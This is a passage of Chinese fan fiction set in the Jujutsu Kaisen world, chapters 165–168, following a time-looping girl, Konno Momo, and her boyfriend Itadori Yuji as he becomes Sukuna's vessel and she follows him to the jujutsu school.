五条悟回头,龇了龇牙,大声说道:“夜蛾老师,我看她的年纪跟我们差不多,快去把她招进高专啦!以后谁不听话就让谁生小孩!” “??”夜蛾正道的拳头又痒了,“我看高专最不听话的人就是你吧?” 众人哄笑。 “生!让悟生!悟能一胎八宝!”夏油杰一边大笑出声,一边左躲右闪,完美闪避了好友的攻击。 “我看你才是!吃那么多咒灵球,给我一胎十八宝去吧!” “哇啊!你好恶毒!!” 在嘈杂的嬉闹声中,七海建人微微垂下眼帘。他的指尖无意识地抚上自己的唇瓣,那里似乎还残留着某种柔软的触感。琥珀色眼眸闪过一丝恍惚,连呼吸都不自觉地放轻了。 他抿了抿唇,不知道什么时候,耳根已经红了大片。 他们……很快就会见面了吧。 第165章 “等等!你也会被吞噬的啊!”伏黑惠嘶哑地喊道,鲜血从额角滑落,模糊了他的视线。他的身体已经到达极限,连召唤式神的力气都没有了,只能眼睁睁地看着那个粉发少年冲向咒灵。 但他希望眼前的少年能立刻把他扔下,然后逃之夭夭。 至少,作为咒术师,保护普通人是他的责任,而不是让普通人挡在他的面前。 但虎杖悠仁拒绝了。 自从他踏进这片散发着危险气息的大楼起,他就没想过要退缩。 他在怪物之间腾挪旋转,最终在它们都没反应过来的时候,一口咬住了被所有咒灵争夺的那根“罪魁祸首”。 “等等!”伏黑惠极力从地上爬起来,拼命朝粉发少年跑去,“把那个东西给我!” 虎杖悠仁直勾勾地盯着这根扭曲的紫黑色干枯手指,上面布满了虬结狰狞的纹路,怎么看也不像是能吃的东西。 但吃下它,就是拯救所有人的最好办法。 既然只有诅咒才能祓除诅咒,那么—— “我有咒力不就行了吗!!”虎杖悠仁闭了闭眼,张开口吞下了这跟手指。 下一秒,黑色的纹路在少年的身上浮现,他的指甲拉长,眼下突然裂开了两道口子,猩红的眼珠里闪烁着嗜血的光芒。 千年前的诅咒之王,两面宿傩在虎杖悠仁的身上苏醒了。 “哈哈哈!”肆无忌惮的笑声随着风飘出很远,“果然,月亮还是要亲自感受啊!咒灵的肉太没劲了!人类呢?女人呢?” 猖狂的声音让伏黑惠的额头上滴下冷汗,他摆出了十种影法术的起手式,看似沉稳镇定,其实心里完全没有把握。 要死在这里了吗…… 但他不知道,很快五条悟就会出现,然后救场。 隔着一段距离,在没有人发现的地方,女孩靠着墙壁,站在阴影深处。 她冷眼旁观着这场闹剧。 今野桃不是没有想过阻止,但这大概是虎杖悠仁个人线里必须走 的剧情,无法规避。 她尝试过读档,提前取走了两面宿傩的手指,规避了灵异现象研究社的社团活动,但不知道什么时候又会发生意外,虎杖悠仁再次被逼吞下了手指。 今野桃一开始以为是羂索的阴谋,于是干脆先下手为强,把羂索给干掉了。 但毫无用处,两面宿傩的手指依然莫名其妙地出现在虎杖悠仁的身边。 仿佛有一根看不见的命运之线将他和两面宿傩联系在了一起。 这也并非无稽之谈,就像月亮注定要绕着地球旋转,这个少年从出生起就被打上了“容器”的烙印。羂索精心设计的血脉,宿傩千年不灭的诅咒,所有线索都编织成一张无形的网,将虎杖悠仁牢牢束缚在既定的命运轨迹上。 今野桃长长地叹了口气。 “我真的只想搞纯爱啊……” 她摇摇头,默默退场。 如果换了是她之前,现在肯定要惊艳登场,亮瞎大家的眼睛,再收割一波好感值。 但她试过了,这一招……对虎杖悠仁好像没用。 可爱的女孩子从天而降,将自己拯救于水火之中,并且表达了对自己的好感,放在漫画里绝对是超级大高。潮,但虎杖悠仁却感官平平。 站在舞台的正中央,所有聚光灯都打在她的身上时,他只是挠挠头,露出一个灿烂的笑脸,说道:‘谢谢啦。’ 然后好感值礼貌性地增加了五点。 这怎么想都不对吧! 很好,少年,你成功引起她的兴趣了! ……开个玩笑。 总之,虎杖悠仁确实是不一样的存在。 比起“被拯救”,他更喜欢“被需要”。 所以这周目,她换上了新的剧本…… “7,8,9……”五条悟竖起手指,嘴角衔着游刃有余的笑容,“差不多了吧。” 心脏猛地跳动了一下,红色瞳孔中的光芒逐渐消散,两面宿傩的神志开始恍惚,他怀着不甘,重新坠入了体内的生得领域里。 这个叫虎杖的小鬼,到底是…… 虎杖悠仁的眼神重新变得清明,他眨了眨眼睛,关心地望向站在废墟中央的白发男人:“你还好吗?” 五条悟当然毫发无损,他饶有兴趣地打量着眼前的少年:“真叫人惊讶啊,居然真的可以控制住!” 能控制住,是不是就说明没问题了呢? 虎杖悠仁这么想道,事情应该解决了吧? 他下意识地摸了摸口袋,才突然想起自己的衣服早就在战斗中化为碎片了。 打架就打架,干什么爆衣啊。 他连忙扭头,对伏黑惠说道:“伏黑,你能借我一下手机吗?” “手机?你要做什么?”伏黑惠皱了皱眉开口道。 虎杖悠仁露出了标志性的阳光笑容:“我要给我的女朋友打个电话,她晚上如果没接到我的电话,会睡不着的。” “……”伏黑惠的眼角抽了抽。 有没有搞错,这么紧张的时刻,你说你要给女朋友打电话? “快点啦,拜托拜托。”虎杖悠仁双手合十恳求道。 五条悟慢慢走上前,把自己的手机塞给了他。 “用我的吧。”他嘴角的弧度不变,语气却突然变得意味深长,“不过在电话里,记得好好道别一下。” 虎杖悠仁握着手机正要拨号,闻言迷茫地抬眼:“道别……?” “嗯哼,对哦。”五条悟耸了耸肩膀,“毕竟你之后可能会很长一段时间见不到她了哦。” 虎杖悠仁顿住,随即垂下眼眸:“我知道了。” 一阵忙音响起,几秒钟后,电话被接通了。 轻快活泼的声音自对面传来:“悠仁,你的作业写完了吗?” “啊……写完了。”虎杖悠仁的语气里少有地带着迟疑,“小桃,我……” 他吞吞吐吐,不知道该如何组织语言。 “太好了,我就知道悠仁一定写完了,请务必要让我抄抄!”女朋友撒娇的声音又甜又软,“作为回报,我可以亲亲悠仁哦。” 静谧的夜晚,手机听筒的声音也跟着被放大了。 虎杖悠仁挠了挠脸颊,低声说道:“抱歉,小桃,明天或许不能让你抄作业了。” 女孩沉默下来,半晌,她的声音带着细微的颤抖:“悠仁生气了吗?” “没有没有!绝对没有生气!”虎杖悠仁赶紧否认,他怎么可能因为这点小事就生她的气,“只是我明天可能不会去学校了。” “诶?” 虎杖悠仁一鼓作气地说下去:“小桃,我要请一段时间的假,你在学校里好好照顾自己,好吗?” “悠仁要去哪里呢?”女孩的声音幽幽传来,“能告诉我吗?我不会去打扰你的,至少让我知道你的去向吧?” “……抱歉,小桃。” 漫长的沉默中,只能听见女孩沉重的呼吸声。 哦呀,不会因此要分手了吧? 五条悟和伏黑惠蹲在旁边,两个硕大的电灯泡正在围观着超出他们经历之外的桥段。 如果虎杖被当场分手的话,他们该如何安慰他呢?抱歉抱歉,毕竟他们也没这个经验嘛。 “没关系,悠仁。”电话那头传来女孩带着鼻音的声音,虎杖悠仁几乎能想象得到她红着眼眶、咬着嘴唇的委屈模样,“我会等你回来的。” “好,我一定会回来的。”虎杖悠仁坚定地回答。 但今野桃知道,他不会回来了。 果不其然,从那天起,虎杖悠仁就再也没有回到学校。他要转学的消息被传得沸沸扬扬,毕竟他也是学校里小有名气的人物,人称“西中之虎”。 他的离去,对很多人并无影响,这不过是平淡校园生活中的一个小插曲,学校并不会因为一个人而停止运行。但对于一直躲在他庇护下的人来说,显然影响很大。 “哈哈,我倒要看看那个贱人还能不能笑出来!”化着浓妆的女生狠狠踢了一脚栏杆,金属发出刺耳的哐当声,“我非要把她的脸皮都撕下来不可!” 她不允许学校里有人比她还好看!她要把那个贱人的脸都划花! “没错没错!”几个男生附和着,眼中闪烁着不怀好意的光。 偶然路过的女生听到这句话,脸色瞬间变得煞白。 她悄悄后退,慌慌张张地找到了正在教室里无聊翻书的女生,将这个消息告诉了她。 “不论如何,今野同学一定要早做准备。”胖乎乎的女生低着头,圆润的脸颊因紧张而泛红,“等虎杖同学回来就好了。” 外表出色得仿佛和其他人不在同一个图层的女生闻言,连睫毛都没抖一下。阳光透过窗户洒在她的侧脸上,给她镀上了一层朦胧的光晕。 她是很多人心中的暗恋对象。但有些人的喜欢是守护,有些人的喜欢是摧毁。 “谢谢你,小泽同学。”她对她笑了笑,“我知道了。” 小泽优子有点着急,但也没有办法。离开的时候,她鬼使神差地回头看了一眼。 忽地,她心生异样。 今野同学……有点不一样了。 虎杖同学还在的时候,她好像不是这样的。 她还记得今野同学被欺负的时候泫然欲泣的模样,好像春天枝头上沾染了露珠的樱花,连她看了都会心生不忍。 虎杖同学小心地守护着这朵樱花,不让她从枝头凋落。 小泽优子一直以为,今野同学是攀附着虎杖同学而生的,她有时候也会因此感到羡慕。 也分不清楚是羡慕虎杖同学,还是今野同学。 砰! 教室门被一脚踢开,不良学生们大大咧咧地走进来,将今野桃的座位团团围起来。 “喂,出来。”为首的女生伸出手指就想点在今野的额头上,就在指尖即将触碰到皮肤的瞬间,今野桃突然抬手扣住了她的手腕。女生用力挣了挣,却惊愕地发现,这只纤细的手掌竟像铁钳般纹丝不动。 突然,今野桃松开了手。女生差点一屁股摔在地上,好在 旁边的男生拉了她一把。 女生的表情有些挂不住,她色厉内荏地喊道:“给我滚出来。” 她们都以为这个只会躲在虎杖身后的女生会露出害怕的模样,谁知道,她竟然笑了。 “好啊。”她站起来,颔首说道,声音轻柔得像在讨论天气,却让在场所有人都不由自主地打了个寒颤,“走吧。” 女生的嘴唇抖了抖,指甲不自觉地掐进掌心。她强撑着转身,按照原定计划带着她朝天台走去。 那里本来是她们为她选择好的地狱,现在看来,似乎并非如此。 约莫半个小时后,小泽优子看见今野桃回来了。她面色平静,衣服没有一点脏乱。 原来樱花树下会埋葬尸体的传言,竟然是真的…… 第166章 “哇!好大的房间!”虎杖悠仁一把推开宿舍门,阳光透过落地窗洒进来,在木地板上投下斑驳的光影。窗外绿树成荫,几只鸟儿在枝头蹦跳,发出清脆的鸣叫。 五条悟晃晃悠悠地跟在他的身后,看着少年像只兴奋的小狗一样在房间里转来转去。 “你的生活用品已经全部搬过来了,有需要你自己拆。”他用下巴点了点旁边堆积着的箱子,“还有校服,也是按照你的尺码定做的。” “好耶!谢谢五条老师!”虎杖悠仁一个飞扑跳上床,在柔软的被褥上打了个滚。又立刻弹起来,跑去打开衣柜门东摸摸西看看,每个抽屉都要拉开瞧一瞧。 转了好几圈后,他终于停下来,掏出手机对着房间“咔嚓咔嚓”拍个不停。 五条悟就倚在箱子堆上,嘴角挂着促狭的笑意,开口问道:“又是发给你的小女友?” “是啊。”虎杖悠仁忙着检查照片,头也没回地说道,“她一直很担心我嘛。” “你的女朋友是普通人吗?” 虎杖悠仁的手指顿了顿:“应该是吧。” “那你要很辛苦了。”五条悟由衷感慨,眼前浮现出夜蛾正道疲惫的身影,他想起了自己老师曾经的婚姻。 夜蛾正道的妻子也是普通人,两人甚至还是青梅竹马,最后却仍然落得了离婚的结局。 他们也曾有过幸福甜蜜的时光,但终究还是因为现实原因分开。 夜蛾正道身为高专的老师,不仅要教书,还要祓除咒灵、在外面到处寻找学生,夏油杰和家入硝子就是他发掘出来的。也因此,他能分给家庭的时间就少得可怜了。 妻子不仅要独守空房,还要忍受随时有可能发生的危险。 于是在苦苦维系多年后,她还是提出了离婚。夜蛾正道没有挽留,也说不出挽留的话。 “不辛苦呀。”少年人仍然怀有一腔激情,带着敢于和世界对抗的勇气,他挺起胸膛,眼睛亮晶晶的,“我答应过小桃的,我会永远照顾她!” 永远……当初他也以为快乐的时光可以永远持续下去。 五条悟失笑地摇头,没说什么打击他的话。 手机铃声响起,虎杖悠仁迫不及待地接通了。 “喂,小桃。”他语气欢快地说道,“你下课了吗?” “是的,悠仁,你到宿舍了吗?”电话那头传来女孩轻柔的回应。 “到了到了,怎么样,我们的宿舍很不错吧?”虎杖悠仁得意地说道,“就连风景都很不错哦!” “嗯。”女孩在短暂的沉默后,继续说到,“悠仁喜欢就好啦。” “很喜欢!有机会带你来玩!”虎杖悠仁信誓旦旦地说道,“你也一定会喜欢的!” “悠仁喜欢的,我都喜欢。”女孩如此说道,“悠仁在新的学校会做什么呢?” 做什么?当然是祓除咒灵了。但他不能这样说,谎言在舌尖转了一圈,最终变成一句底气不足的——“跟以前学校里一样的啦,上上课,然后做做社团活动。” “会很危险吗?” “不危险!”虎杖悠仁的声音不自觉地抬高了一点,撒谎的人总以为音量变高就能掩饰住心虚,“很轻松的!” “……好吧。” 因为是课间打电话,所以女孩很快就说了再见,挂断了电话。五条悟摸了摸下巴,忽然开口道:“诶,悠仁,我记得你之前打电话的时候说过,会回去看她的吧?你回去了吗?” “……没有。”虎杖悠仁握着手机,沮丧地低下了头。 他压根没有时间啊。一件接一件的事情让他忙得不可开交,再加上仙台到东京也有一段距离,想回去也没那么容易。 “喔……那你的女朋友不会生气吗?”五条悟饶有兴趣地问道。 “当然不会,”虎杖悠仁的回答干脆利落,带着理所当然的笃定,“小桃不会生我的气的。” 好奇怪的说法。 是因为知道自己被爱着所以肆无忌惮吗?悠仁不像是那种人。 虎杖悠仁看出了五条悟的疑惑,他解释道:“小桃的脾气很好,之前在学校里被欺负了也只会偷偷躲起来掉眼泪,幸好被我发现了,才帮她讨回公道。” “那你们是因此而交往了?” “唔……差不多吧?”虎杖悠仁挠挠头,“没办法,毕竟除了我,小桃谁也不想靠近呢。” “这样啊。”五条悟咂了咂舌,脑海中勾勒出了一个柔弱的、花瓶一样的女孩形象。 咚咚咚。 木门被敲响了。五条悟反手打开门,门口的伏黑惠穿着宽松的T恤衫,顶着乱糟糟的头发,瞪着一双死鱼眼看了过来。 “你们……好吵。”他的声音像是从牙缝里挤出来的。 “哎呀,你看上去好多了呢。”五条悟高兴地举起手挥了挥,“尤其是精神上。” 伏黑惠深深地吸了一口气,额角的青筋若隐若现:“空房间明明还多得是吧,为什么要选这里啊。” “唔,你不觉得大家住在一起很热闹吗?” “并不!” 五条悟装作没听见,自顾自地宣布下一件事:“好了,那么接下来我们就要去迎接第三位同学了!是位可爱的女孩子哦!” “好耶!”。 “说好的六本木,怎么会是充满诅咒的废弃大楼啊!!”钉崎野蔷薇抱着脑袋,发出愤怒的吼叫,“真是太过分了!竟敢欺负乡下人!!” “没办法嘛,这附近有一座公墓,然后又有废弃大楼,结果就产生了诅咒。”五条悟轻飘飘地回道,“好了,你们快去祓除诅咒吧,早点结束,我们早点出去逛街哦。” 在前面吊着的胡萝卜的诱惑下,钉崎野蔷薇忍气吞声了。 在临进门前,五条悟叮嘱道:“悠仁,不要放宿傩出来,知道吗。虽然他可以将诅咒全都秒杀,但也会波及附近的居民。” “没问题。”虎杖悠仁竖起大拇指,“交给我吧。” 两人的身影很快消失在门口,里面不久就传出来叮铃哐当的声音。伏黑惠坐在长椅上,抬头看着散发出不祥气息的大楼,喃喃道:“真的没问题吗?” 他们两人,都只是刚刚接触咒术界吧。 “不要担心啦,野蔷薇有经验的。”五条悟坐在他旁边,手搭在膝盖上,“他们或许会做得比我们预想中还要好呢。” “……希望是那样吧。” 伏黑惠的话突然卡在喉咙里,他倏然站起身,警觉地看向街角。 有人来了。 他快步上前,拦在了来人面前。 “抱歉,这里暂时封路,不允许通过。”他伸手挡住路口。 “我、我知道。”女孩的声音细细的,带着担忧和些许颤抖,“我是来找人的。” 找人?难道大楼里还有幸存者?真是麻烦。 伏黑惠皱着眉想。 她的声音好像还有点耳熟,是在哪里听到过吗…… “我找悠仁,虎杖悠仁,你听过这个名字吗?”女孩含着眼泪的眸子里带上了几分期待。 虎杖悠仁…… 等等,她该不会是? “啊,竟然找到这里来了吗。”五条悟拍拍屁股上的灰,晃晃悠悠地走了过来,“你就是小桃?” 女孩怯怯地点头。 她纤细的身影在风中显得格外单薄,白皙的肌肤在阳光下几乎透明,精致的五官让人移不开眼——完全符合五条悟想象中的“柔弱花瓶”形象。 话说,她是怎么找到这里来的啊。 疑惑浮现在两人的心头。 “请问,悠仁在吗?”她忧虑地说道,“他还好吗?” 女孩的手指绞在一起,她好像知道了什么。 “挺好的。不过嘛……”五条悟的声音逐渐变得冷漠低沉,带着十足的压迫感,“能不能告诉我,你是怎么找过来的吗?” 伏黑惠也立刻警惕起来,没错,她是怎么知道他们在这里的? 在两人的注视下,女孩咬了咬下唇,声音细若蚊呐:“悠仁的手机里有我的定位器。” “……” 这对师生一下子瞪大了眼睛。 什、什么?定位器?! 五条悟一个后仰,用震惊的语气说道:“这就是现在年轻人谈恋爱的方式吗?” 女孩没有接话,只是低头沉默不语。 好 在没多久,三个人影出现在了大楼门口。是虎杖悠仁、钉崎野蔷薇和那个幸存的小男孩。 掀起卷帘门,虎杖悠仁惊喜地喊出了声:“小桃!” 他刚刚往那边跑了几步,就被五条悟一把勾住肩膀,拉了过来,压低声音问道:“你知道自己手机里有定位器吗?” “知道啊。”虎杖悠仁满不在乎地说道,“毕竟小桃没什么安全感,而且也方便她及时找到我。” 五条悟和伏黑惠的表情有点古怪。 原来你们俩都不太正常啊! 那没事了,一个愿打一个愿挨。 虎杖悠仁哧溜一下从五条悟的手臂下钻了过去,连蹦带跳地跑到了女朋友面前:“你怎么来了?” “因为很担心悠仁。”女孩微微蹙眉,忧愁地说道,“我去找了佐佐木学姐,但佐佐木学姐也解释不清,只是说遇到了危险。我看那天晚上悠仁的位置是在学校,之后就找不到你了,我真的没办法放下心来。” 女孩说得有些颠三倒四,眼泪像断线的珠子一样往下滚落。 虎杖悠仁一下子慌了手脚。 “我不是故意瞒着你的,你别哭呀……”他伸出手,想要擦去她脸颊上的泪水。 忽然,有什么湿漉漉的东西在她的脸上舔了舔,两人瞬间都愣住了。 “哟,悠仁,这是你的女朋友吗?”虎杖悠仁的掌心冒出了一张嘴巴,用带着恶意的语气说道,“还挺可爱的嘛。” 第167章 啪! 虎杖悠仁一巴掌扇在了自己的脸上,发出了清脆的响声。 他捂着脸扭头,看见自己小女友表情呆呆的。 糟糕!不会被看出来了吧! “那个、那个……”他结结巴巴好半天说不出话来。 他不说,两面宿傩帮他说。那张嘴巴又突兀地出现在虎杖悠仁的手背上,用戏谑的语气说道:“怎么,不给我介绍一下?” 虎杖悠仁狠狠拍打着自己的手背,然而那张嘴的速度更快,眨眼间就消失不见,只留下通红一片的皮肤。 他下手可真狠啊。 虎杖悠仁像是完全感觉不到那种火辣辣的痛,认真地对女朋友说道:“事情比较复杂,小桃,我一时半会也解释不清……” 其实他自己也是懵懵懂懂,对咒术界的许多常识不甚了解,怎么能给其他人说得清楚呢。 但出乎他的意料,今野桃在短暂的沉默后,突然开口道:“悠仁是被妖怪附身了吗?” “诶?”虎杖悠仁愣愣地想了一下,不得不承认,这个说法似乎很形象。他不就是被两面宿傩这个大妖怪附身了吗。 “是因为那天晚上,灵异社团真的把‘脏东西’招来了?”她拽着虎杖悠仁的袖子,紧张地问道,“悠仁受伤了吗?悠仁找到了办法解除附身吗?” “这个……”虎杖悠仁为难地开口道。 好吧,看样子是短时间内没办法解除附身了。 “抱歉,小桃。”虎杖悠仁低声说道,想要如过去一样抬起手默默她的头发,却又悬在半空中迟迟没有落下,“我……” 他的话没有说完,下一秒,今野桃扑进了他的怀里。她把脸埋在男友温暖的怀抱中,双手紧紧抱着他的腰。 “没关系的,不管悠仁变成什么样子,我都会喜欢悠仁!”她抬起巴掌大的脸蛋,目光描摹着男友眼下突兀的纹路,大声说道,“就算、就算悠仁真的变成妖怪,我也喜欢悠仁!” 一瞬间,她的脸红红的,虎杖悠仁的脸也红红的。 “哇哦——”五条悟一边啧啧感叹,一边拍着手掌,“真是感天动地的爱情啊!” “不过……”今野桃的眼眸里闪烁着破碎的光,声音里带着细细的哭腔,“悠仁死掉之前,请把我也一起吃掉吧!” “呜呜呜,小桃……” “呜……悠仁……” “……” “……” 五条悟和伏黑惠的嘴角同时一抽,眼罩后的蓝眼睛和海胆头少年死鱼般的黑眸里闪过一丝无奈。 五条悟捏了捏鼻梁,长叹道:“每次当我觉得他们的爱情很美好的时候,他们就会让我看见他们不正常的一面。算了,什么锅配什么盖吧。” 他摇了摇头,迈着长腿走向那对还在抽抽搭搭的小情侣,伸手揉了揉两人的脑袋。 “行了,去吃饭吧,再哭下去餐厅都要打烊了。还是说你们打算用眼泪泡饭?”他语带促狭。 “对对对,该吃饭了!”把自己当成背景板的钉崎野蔷薇立刻响应,“这个电灯泡我也真是做得够够的了!” 说好了的六本木大购物,结果变成咒灵祓除任务,她现在还憋了一肚子的气呢! 今野桃吸了吸鼻子,推了推虎杖悠仁说道:“那悠仁你去吃饭吧,我就先回去了……” 她的话还没说完,五条悟的大手已经按在了她瘦削的肩膀上。“一起来。”明明是轻快的语气,却带着不容反驳的力道,“老师今天要大出血哦。” “但是……” “没有但是,走吧,难道你想让悠仁饿着肚子送你回家?” “好耶!” 虎杖悠仁一把抓住女友的手,眼睛亮得像是装了星星:“别怕,小桃,大家都是很好的人!” “……嗯。”女孩纤细的手指在他掌心轻轻蜷缩了一下,最终点了点头。 在经历了千辛万苦后,从乡下来的两小只终于领略到了大城市的美丽。 精心挑选的餐厅装潢豪华,来来往往的都是西装革履、衣香鬓影的成功人士。幸好五条老师订了包间,才没让他们仿佛走错地方似的畏手畏脚。 尽管五条老师说了随便点,但虎杖悠仁和钉崎野蔷薇还是对着天价菜单发起了呆。伏黑惠看不下去,抢过菜单,把招牌菜点了一长串。 咒术师的运动量那么大,胃口也大,等他们做好决定,他都要饿死了。 “小桃有什么想吃的吗?”五条悟的目光落在女孩身上,他语气轻松地说道,“老师买单哦。” 女孩看了看虎杖悠仁,在他鼓励的目光下开口道:“那就……那就和悠仁一样吧……” 第一轮菜上完了,盘子都被一扫而光,十五六岁的少年们本就能吃,剧烈运动后就更是恨不得把盘子上的装饰花也吃掉了。 五条悟反而吃得少了,大部分时候都在含着笑意看着学生们,然后时不时地问几句话。 “诶,对了,小桃好像对妖怪很了解的样子?你也见到过妖怪吗?”五条悟忽然开口道。 今野桃放下筷子,迟疑地回答:“妖怪的话……也是有看见过的。” “啊?”虎杖悠仁瞪大了眼睛,“小桃你怎么不告诉我呢?” 今野桃垂下眼睑,可怜地说道:“如果告诉悠仁……悠仁会不会像其他人一样也觉得我是怪物呢?” 一句话把在场人的喉咙都堵住了。 因为看得见妖怪,所以也会被 人觉得是妖怪吗……这种事情真的太常见了。本来就被霸凌的女孩,一定会过得更加困难。 女孩不好意思地摸了摸发尾,小声说道:“反正只要装作看不见就可以了吧。装作看不见,那些怪物就不会纠缠我了。” 虎杖悠仁沉默地给女朋友剥虾,良久后对五条悟说道:“五条老师,小桃这样的情况,可以进入高专吗?” “可以呀。”五条悟撑着下巴说道,“能看见咒灵,小桃应该也有咒术师的天赋吧。具体的,可以等入学以后再说。不过……小桃自己愿意入学吗?” 众人的目光看向女孩。 “高专?是悠仁现在的学校吗?”女孩本想把口中的食物吞下再说话,奈何虎杖悠仁太过积极,一个还没吞下去,第二个就又塞过来了,她只能含含糊糊地说道,“如果是和悠仁在一起的,那我可以的!” “OK!”五条悟打了个响指,“不错,我们今年的新生又要多一个了!” “真好,我终于不是唯一的女生了。”钉崎野蔷薇松了一口气,“跟你们这群男生真是说不到一块儿去。” 不过其实这个叫小桃的女孩也不是她喜欢的风格来着……她怕自己说话声音稍微大一点就会吓到她。 而且她好像是个恋爱脑。 钉崎野蔷薇心中吐槽。 唉,怎么就不能给她一个正常的同学呢…… “好了,那么小桃是要跟我们回高专,还是回仙台呢?” 吃完晚饭,站在灯红酒绿的闹市街头,五条悟问她。 今野桃犹豫了一下,回道:“我买好了回仙台的票,这么晚了,就不打扰了……” “也行,毕竟转学的话,还是要正式拜访一下家里吧。” “不用!”她的反应快得有些突兀,随即又像是意识到失态般低下头,“这种事情,我自己就可以决定的!” 五条悟的眉梢几不可察地抬了抬。看样子跟家里的关系不好啊……那他们不会被当成诱拐犯吧? 辅助监督开着车,将他们送到了新干线车站。 “悠仁,那你送一下小桃?”五条悟体贴地给这对小情侣独处的时间,“我们在车上等你。” “好的!”虎杖悠仁握住女孩的手,带她下车,“麻烦你们等一等了。” 夜晚的车站没什么人,只有零星几个拖着行李箱的旅客,脚步声在空旷的大厅里回荡出寂寞的声响。 站在检票口前,今野桃停了下来。 “就送到这里吧。”她说道。 “诶?可是……” “如果悠仁一直陪着我走的话,我会舍不得离开的。”她小声说道。 虎杖悠仁握着她的手紧了紧。他转过身,面对着她:“我们很快就会再见的,小桃,高专的人少,不会再有人欺负你了。” “好,我相信悠仁。” 今野桃对他露出了今天第一个甜甜的笑容。 突然,她拽住他的衣领,踮起了脚尖。 虎杖悠仁最先闻到的,是她洗发水的香味。下一秒,她的唇就贴了上来。 这个吻很轻,像一片雪花落在唇上,还没来得及感受温度就融化了。 “抱歉,悠仁今天突然看见我,一定很惊讶吧。”她半阖着眼睑,指节有点泛白,“其实我不是担心悠仁,因为我知道,悠仁不管在哪里都能很好地生活下去。我只是、我只是……” 她的额头抵着他的下巴,轻柔的呼吸洒在他的脖颈间。 从虎杖悠仁的角度,能看到她通红的耳廓。 “我只是太想悠仁了。” 哒。 男生上前一步,环抱住了她的肩膀。 “我也很想你,小桃。” 站台忽然刮过一阵穿堂风,明亮的灯光下,两个身影重叠在一起。他的手掌不知何时贴在了她后脑,指尖陷入柔软的发丝里。 叮咚—— 站内广播忽然响起,冰冷的电子音提醒乘客抓紧时间上车。 “那……我先走了。” “好,注意安全,到家了跟我发消息。” 女孩的身影消失在了检票口处,虎杖悠仁怅然若失地看着电子屏上的数字闪动。 没关系,他们很快又会再见的…… 少年深吸一口气,打起精神。 就在此时—— “甜的。” 两面宿傩的声音突兀出现。 虎杖悠仁:“?” 虎杖悠仁:“!!” 第168章 虎杖悠仁回来的时候,脸上的表情像是刚吞了十斤黄连。钉崎野蔷薇看见了,嘀嘀咕咕道:“情侣真讨厌。” 五条悟五条悟整个人陷在座椅里,修长的双腿随意交叠着:“不用这么舍不得,你很快就会又见到她的啦。” “不是那个……”虎杖悠仁抓了抓耳朵,粉色的短发被他揉得乱糟糟的,又颓丧地低下了头,“算了没事。” 他总不能说他之前觉得两面宿傩寄生在自己身体里没关系,但现在忽然发现这个千年前的老妖怪太影响自己谈恋爱了吧…… 还怪难为情的。 “反正不就是跟他女朋友的那点事情。”钉崎野蔷薇吐槽道,“哎呀,五条老师,我们是不会懂的啦。” 虎杖悠仁回以傻笑。 黑色的商务车在夜里人烟稀少的街道上疾驰,但因为高专距离车站实在有些距离,当他们抵达学校时,天色已经全黑了。 再精力充沛的少年们此时也感觉到了疲倦,钉崎野蔷薇打了个哈欠,一边朝着女生宿舍走去,一边头也没回地挥手告别:“明天见,大家晚安。” “明天见!晚安!”虎杖悠仁抬脚走向自己的寝室。 忽然,他的后领被揪住了。 “别急着走呀。”五条悟不知何时绕到了他身后,手臂亲昵地搭在他肩上,“我还有点事情想找悠仁呢。走吧走吧,来一场男人间的对话吧!” “诶?”虎杖悠仁神色茫然。 伏黑惠的脸上露出了痛苦的表情:“那你们小点声,我就在隔壁!” “知道了知道了!” 木门合上,五条悟压低了声音对虎杖悠仁说道:“悠仁还记得吧,你入学的时候,夜蛾校长对你的测试。” 那也就是前几天的事情了,虎杖悠仁怎么可能忘记。 他可是被夜蛾校长的玩偶狠狠揍了一顿呢,想到这里,肋骨又开始隐隐作痛。 “小桃想要入学明显就是为了跟着你,这样的回答在夜蛾校长那里可是没办法过关的。”五条悟很没距离感地倒在虎杖悠仁的床上,外套都没脱,“你得想个办法呀。” “想个办法……?什么办法?”虎杖悠仁苦恼地趴在椅子上,让出了自己的床铺,“让小桃说自己想要成为咒术师所以才来到高专?” “那也不行,夜蛾校长绝对不会接受的。”五条悟竖起一根手指,“或许可以让她说一说自己对咒术师的想法?对未来的期望?对人生的理想?” 虎杖悠仁卡壳了。 期望?理想? 眼看他抓耳挠腮地想不出来,五条悟笑了笑,图穷匕见了。 “或许可以从小桃的生平入手,悠仁了解小桃吗?”他慢悠悠地说道,“今天我说要和小桃的父母联系的时候,她的反应很激烈呢。但不联系的话,万一我们被当成是人贩子怎么办?” 虎杖悠仁觉得五条老师说得有道理,不由地陷入了沉思之中。 “小桃的父母啊……”漫长的迟疑后,他缓缓开口道,“小桃的父母其实不是什么好人呢。” 果然如此。 五条悟肯定了自己的猜想。不过嘛,非术士家庭出身的咒术师,少有和父母关系好的。 “我有一次晚上接到了小桃的电话,她拜托我去接她的时候,她刚刚和父母吵架,一个人在外面游荡。”虎杖悠仁的声音很轻,显然怕被隔壁的伏黑惠听见,这是小桃的隐私,顶多只能告诉老师,“老师也看见了吧,小桃长得很漂亮,所以她的父母,想要高价把小桃‘卖’给别人。” 虎杖悠仁着重强调了一个字,语气里不自觉地带上了几分厌恶。 高价“卖”给别人? 五条悟脸上的笑意淡了下去。他回忆起女孩的外貌,确实非常出色。 那是普通人保护不了的美丽。 美貌和任何牌搭配都可以是王炸,但单出就是张废牌。 “反正家里没人,我就把小桃带回家了。”男高中生说着让人浮想联翩的话,但其实纯爱得很,那个时候,他们连吻都没接过,“大概就是那段时间,小桃特别黏着我。” “我懂我懂。”五条悟意味深长地点头,“雏鸟效应嘛。” 虎杖悠仁叹了口气:“反正老师如果想要让小桃进入高专,征求她自己的意见就行了,不要去找她的爸爸妈妈,不然他们可能还要反手索要一笔钱财的。” “好的,我大概了解了。”五条悟比了个OK的手势。 虎杖悠仁沉默了片刻,小声开口道:“那个……五条老师,如果小桃有什么冒犯你的地方,到时候跟我说就行了,我会教她的。她性格比较敏感,也比较……呃,比较莽撞,我担心会跟老师起冲突。” “哈?我怎么会和可爱的学生起冲突呢。”五条悟啧了一声,“而且她 看起来很胆小啊。” “小桃是很胆小啦,也不爱跟别人接触。但我能感觉到她的内心藏了一颗炸。弹,如果过于压迫她,她就会跟所有人一起爆炸。”虎杖悠仁烦恼地把下巴搁在了椅背上,“五条老师千万不要欺负小桃啊!” “……知道了知道了。”五条悟心中嘀咕,这不是更让人好奇了嘛。 挺想看看她是怎么跟人一起爆炸的。 